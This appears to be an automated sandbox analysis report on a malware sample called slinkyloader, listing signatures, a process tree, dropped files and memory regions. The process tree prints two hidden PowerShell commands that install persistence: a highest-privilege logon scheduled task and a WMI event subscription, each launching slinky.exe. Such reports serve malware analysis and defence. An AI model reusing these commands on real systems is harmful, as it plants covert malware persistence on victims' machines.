Overview

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slinkyload...64.exe

windows10-2004-x64

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slinkyload...64.exe

windows11-ltsc_2024-x64

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Analysis

  • max time kernel
    90s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260629-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    06/07/2026, 16:28

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General

  • Target
    slinkyloader-windows-amd64-4d579364.exe
  • Size 10.4MB
  • Sample260706-typjnadv5l
  • SHA256 164d9f475c470f06d4201946b4cf9f9b029f439131749673206f56d7bf584cc4
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwareexecutionpersistenceransomwarespywareupx

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • UPX packed file 13 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 52 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\slinkyloader-windows-amd64-4d579364.exe
    "C:\Users\Admin\AppData\Local\Temp\slinkyloader-windows-amd64-4d579364.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5936
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\slinky.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'slinky_ad816f74' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2636
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'slinky_fad816f74'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'slinky_cad816f74'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\slinky.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='slinky_fad816f74'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='slinky_cad816f74'\"; $null = $b.Put()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:3996
  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:1280
    • C:\Windows\explorer.exe
      explorer.exe /LOADSAVEDWINDOWS
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies Internet Explorer settings
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      PID:4856
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:5332
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:2996
    • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
      "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:1264

    Network

          MITRE ATT&CK Enterprise v16

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          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
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          prep_Activatable Class_Hermes_perf.cache
          • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
          • Size 607B
          • SHA256 be6b74e52e5eef1f1c27c0976bf3bf1bfa99958c00bbef2898a602f691be6dae
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          __PSScriptPolicyTest_5e5b4s2d.qze.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5e5b4s2d.qze.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
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          memory/1264-75-0x0000025A1C0C0000-0x0000025A1C1C0000-memory.dmp
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          memory/1264-108-0x0000025A1C930000-0x0000025A1C950000-memory.dmp
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          memory/1264-74-0x0000025A09C50000-0x0000025A09C70000-memory.dmp
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          memory/1264-85-0x0000025A09EB0000-0x0000025A09ED0000-memory.dmp
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          memory/1264-63-0x0000025A08430000-0x0000025A08530000-memory.dmp
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          memory/2636-15-0x00007FFFF49C0000-0x00007FFFF5364000-memory.dmp
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          memory/2636-25-0x00007FFFF49C0000-0x00007FFFF5364000-memory.dmp
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          memory/2636-14-0x00007FFFF49C0000-0x00007FFFF5364000-memory.dmp
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          memory/2636-3-0x00007FFFF4B50000-0x00007FFFF4B51000-memory.dmp
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          memory/2636-19-0x0000016CA9100000-0x0000016CA91B2000-memory.dmp
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          memory/2636-18-0x0000016CA8FA0000-0x0000016CA8FBE000-memory.dmp
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          memory/2636-20-0x0000016CA8FC0000-0x0000016CA8FCA000-memory.dmp
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          memory/2636-21-0x0000016CA91C0000-0x0000016CA91DE000-memory.dmp
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          memory/2636-22-0x00007FFFF49C0000-0x00007FFFF5364000-memory.dmp
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          memory/2636-24-0x00007FFFF49C0000-0x00007FFFF5364000-memory.dmp
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          memory/2636-5-0x00007FFFF49C0000-0x00007FFFF5364000-memory.dmp
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          memory/2636-26-0x00007FFFF49C0000-0x00007FFFF5364000-memory.dmp
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          memory/2636-27-0x00007FFFF49C0000-0x00007FFFF5364000-memory.dmp
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          memory/2636-4-0x00007FFFF49C0000-0x00007FFFF5364000-memory.dmp
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          memory/2636-29-0x00007FFFF49C0000-0x00007FFFF5364000-memory.dmp
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          memory/2636-30-0x00007FFFF49C0000-0x00007FFFF5364000-memory.dmp
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          memory/2636-32-0x00007FFFF49C0000-0x00007FFFF5364000-memory.dmp
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          memory/2636-12-0x00007FFFF49C0000-0x00007FFFF5364000-memory.dmp
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          memory/2636-13-0x00007FFFF49C0000-0x00007FFFF5364000-memory.dmp
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          memory/2636-9-0x00007FFFF49C0000-0x00007FFFF5364000-memory.dmp
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          memory/2636-8-0x00007FFFF49C0000-0x00007FFFF5364000-memory.dmp
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          memory/2636-7-0x0000016C90EE0000-0x0000016C90F02000-memory.dmp
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          memory/2636-6-0x00007FFFF49C0000-0x00007FFFF5364000-memory.dmp
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          memory/5936-35-0x00007FF798250000-0x00007FF79C206000-memory.dmp
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          memory/5936-28-0x00007FF798250000-0x00007FF79C206000-memory.dmp
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          memory/5936-0-0x00007FF798250000-0x00007FF79C206000-memory.dmp
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          memory/5936-60-0x00007FF798250000-0x00007FF79C206000-memory.dmp
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          memory/5936-213-0x00007FF798250000-0x00007FF79C206000-memory.dmp
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          memory/5936-223-0x00007FF798250000-0x00007FF79C206000-memory.dmp
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          memory/5936-224-0x00007FF798250000-0x00007FF79C206000-memory.dmp
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          memory/5936-225-0x00007FF798250000-0x00007FF79C206000-memory.dmp
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          memory/5936-228-0x00007FF798250000-0x00007FF79C206000-memory.dmp
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          memory/5936-229-0x00007FF798250000-0x00007FF79C206000-memory.dmp
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          memory/5936-230-0x00007FF798250000-0x00007FF79C206000-memory.dmp
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          memory/5936-232-0x00007FF798250000-0x00007FF79C206000-memory.dmp
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          memory/5936-233-0x00007FF798250000-0x00007FF79C206000-memory.dmp
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